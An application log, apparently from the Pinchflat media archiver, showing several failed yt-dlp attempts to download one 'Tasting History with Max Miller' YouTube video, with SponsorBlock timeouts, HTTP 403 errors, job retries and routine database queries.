%(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/43/b8/43b8d46a5d02f4ace789a34174b352282677f08521349be4066204e0d22cc120.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: Unable to communicate with SponsorBlock API: HTTPSConnectionPool(host='sponsor.ajay.app', port=443): Read timed out. (read timeout=20.0). Retrying (1/3)... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96. Skipping... ERROR: unable to download video data: HTTP Error 403: Forbidden 02:54:02.401 [error] yt-dlp download error for media item #13061: "WARNING: Unable to communicate with SponsorBlock API: HTTPSConnectionPool(host='sponsor.ajay.app', port=443): Read timed out. (read timeout=20.0). Retrying (1/3)...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\n" 02:54:02.401 [error] Unable to recover error for media item #13061: {:error, %Jason.DecodeError{position: 0, token: nil, data: ""}} 02:54:02.402 [debug] QUERY OK source="media_items" db=1.0ms idle=1367.4ms UPDATE "media_items" SET "last_error" = ?, "updated_at" = ? WHERE "id" = ? ["WARNING: Unable to communicate with SponsorBlock API: HTTPSConnectionPool(host='sponsor.ajay.app', port=443): Read timed out. (read timeout=20.0). Retrying (1/3)...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\n", ~U[2026-04-01 06:54:02Z], 13061] 02:54:02.403 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":13061},"id":1740,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":28390570,"event":"job:exception","queue_time":80225,"attempt":2,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:54:21.134 [info] {"source":"oban","duration":1002,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:54:22.068 [info] {"args":{"id":13061},"id":1740,"meta":{},"system_time":1775026462068185655,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":3,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:54:22.068 [debug] QUERY OK source="media_items" db=0.1ms idle=540.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13061] 02:54:22.068 [info] User scripts lifecyle file either not present or is empty. Skipping. 02:54:22.069 [debug] QUERY OK source="sources" db=0.1ms idle=541.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:54:22.069 [debug] QUERY OK source="media_profiles" db=0.1ms idle=541.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:54:22.069 [debug] QUERY OK source="media_items" db=0.2ms idle=8.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13061] 02:54:22.070 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [13061] 02:54:22.070 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:54:22.070 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:54:22.071 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:54:22.071 [debug] Running yt-dlp command for action: get_downloadable_status 02:54:22.071 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:54:22.071 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:54:22.072 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:54:22.072 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/4e/8f/4e8f2bd8b2a270e61c6093b7f5d0b7633a5db459734a5c26a3ff56e585bb86ba.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 02:54:25.873 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/4e/8f/4e8f2bd8b2a270e61c6093b7f5d0b7633a5db459734a5c26a3ff56e585bb86ba.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 02:54:25.873 [debug] Running yt-dlp command for action: download 02:54:25.874 [debug] QUERY OK source="settings" db=0.1ms idle=807.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:54:25.874 [debug] QUERY OK source="settings" db=0.1ms idle=346.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:54:25.874 [debug] QUERY OK source="settings" db=0.1ms idle=346.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:54:25.875 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/90/0a/900a593977f40d22096107474e9f2e96f3f1018ad0263d65f7e7b8a8d427313f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 02:54:51.136 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:55:00.444 [info] {"source":"oban","duration":177,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:55:21.137 [info] {"source":"oban","duration":555,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:55:40.085 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/90/0a/900a593977f40d22096107474e9f2e96f3f1018ad0263d65f7e7b8a8d427313f.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: Unable to communicate with SponsorBlock API: HTTP Error 503: Service Unavailable. Retrying (1/3)... WARNING: Unable to communicate with SponsorBlock API: HTTP Error 503: Service Unavailable. Retrying (2/3)... WARNING: Unable to communicate with SponsorBlock API: HTTPSConnectionPool(host='sponsor.ajay.app', port=443): Read timed out. (read timeout=20.0). Retrying (3/3)... ERROR: Preprocessing: Unable to communicate with SponsorBlock API: HTTPSConnectionPool(host='sponsor.ajay.app', port=443): Read timed out. (read timeout=20.0) ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96. Skipping... ERROR: unable to download video data: HTTP Error 403: Forbidden ERROR: Preprocessing: Unable to communicate with SponsorBlock API: HTTPSConnectionPool(host='sponsor.ajay.app', port=443): Read timed out. (read timeout=20.0) 02:55:40.085 [error] yt-dlp download error for media item #13061: "WARNING: Unable to communicate with SponsorBlock API: HTTP Error 503: Service Unavailable. Retrying (1/3)...\nWARNING: Unable to communicate with SponsorBlock API: HTTP Error 503: Service Unavailable. Retrying (2/3)...\nWARNING: Unable to communicate with SponsorBlock API: HTTPSConnectionPool(host='sponsor.ajay.app', port=443): Read timed out. (read timeout=20.0). Retrying (3/3)...\nERROR: Preprocessing: Unable to communicate with SponsorBlock API: HTTPSConnectionPool(host='sponsor.ajay.app', port=443): Read timed out. (read timeout=20.0)\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\nERROR: Preprocessing: Unable to communicate with SponsorBlock API: HTTPSConnectionPool(host='sponsor.ajay.app', port=443): Read timed out. (read timeout=20.0)\n" 02:55:40.086 [error] Unable to recover error for media item #13061: {:error, %Jason.DecodeError{position: 0, token: nil, data: ""}} 02:55:40.087 [debug] QUERY OK source="media_items" db=0.9ms idle=1558.6ms UPDATE "media_items" SET "last_error" = ?, "updated_at" = ? WHERE "id" = ? ["WARNING: Unable to communicate with SponsorBlock API: HTTP Error 503: Service Unavailable. Retrying (1/3)...\nWARNING: Unable to communicate with SponsorBlock API: HTTP Error 503: Service Unavailable. Retrying (2/3)...\nWARNING: Unable to communicate with SponsorBlock API: HTTPSConnectionPool(host='sponsor.ajay.app', port=443): Read timed out. (read timeout=20.0). Retrying (3/3)...\nERROR: Preprocessing: Unable to communicate with SponsorBlock API: HTTPSConnectionPool(host='sponsor.ajay.app', port=443): Read timed out. (read timeout=20.0)\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\nERROR: Preprocessing: Unable to communicate with SponsorBlock API: HTTPSConnectionPool(host='sponsor.ajay.app', port=443): Read timed out. (read timeout=20.0)\n", ~U[2026-04-01 06:55:40Z], 13061] 02:55:40.087 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":13061},"id":1740,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":78019314,"event":"job:exception","queue_time":664644,"attempt":3,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:55:51.138 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:56:00.445 [info] {"source":"oban","duration":170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:56:03.177 [info] {"args":{"id":13061},"id":1740,"meta":{},"system_time":1775026563177157990,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":4,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:56:03.177 [debug] QUERY OK source="media_items" db=0.1ms idle=1649.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13061] 02:56:03.177 [info] User scripts lifecyle file either not present or is empty. Skipping. 02:56:03.178 [debug] QUERY OK source="sources" db=0.1ms idle=1650.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:56:03.178 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1009.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:56:03.178 [debug] QUERY OK source="media_items" db=0.2ms idle=8.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13061] 02:56:03.179 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [13061] 02:56:03.179 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:56:03.180 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:56:03.180 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:56:03.180 [debug] Running yt-dlp command for action: get_downloadable_status 02:56:03.181 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:56:03.181 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:56:03.181 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:56:03.181 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/23/f4/23f4e158dcfccf4c3625a3519791a399af2b27155e0a8555267f3fb6438856f6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 02:56:07.126 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/23/f4/23f4e158dcfccf4c3625a3519791a399af2b27155e0a8555267f3fb6438856f6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 02:56:07.126 [debug] Running yt-dlp command for action: download 02:56:07.126 [debug] QUERY OK source="settings" db=0.2ms idle=952.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:56:07.126 [debug] QUERY OK source="settings" db=0.1ms idle=599.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:56:07.127 [debug] QUERY OK source="settings" db=0.1ms idle=599.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:56:07.127 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/34/4f/344f12126db84a6f615205af19082a94d46843ed95c373cf17b9ffa2b82a5f52.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 02:56:21.139 [info] {"source":"oban","duration":811,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:56:31.780 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/34/4f/344f12126db84a6f615205af19082a94d46843ed95c373cf17b9ffa2b82a5f52.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: Unable to communicate with SponsorBlock API: HTTP Error 503: Service Unavailable. Retrying (1/3)... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96. Skipping... ERROR: unable to download video data: HTTP Error 403: Forbidden 02:56:31.780 [error] yt-dlp download error for media item #13061: "WARNING: Unable to communicate with SponsorBlock API: HTTP Error 503: Service Unavailable. Retrying (1/3)...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\n" 02:56:31.780 [error] Unable to recover error for media item #13061: {:error, %Jason.DecodeError{position: 0, token: nil, data: ""}} 02:56:31.781 [debug] QUERY OK source="media_items" db=1.0ms idle=1253.0ms UPDATE "media_items" SET "last_error" = ?, "updated_at" = ? WHERE "id" = ? ["WARNING: Unable to communicate with SponsorBlock API: HTTP Error 503: Service Unavailable. Retrying (1/3)...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\n", ~U[2026-04-01 06:56:31Z], 13061] 02:56:31.782 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":13061},"id":1740,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":28604625,"event":"job:exception","queue_time":88905,"attempt":4,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:56:51.141 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:57:00.446 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 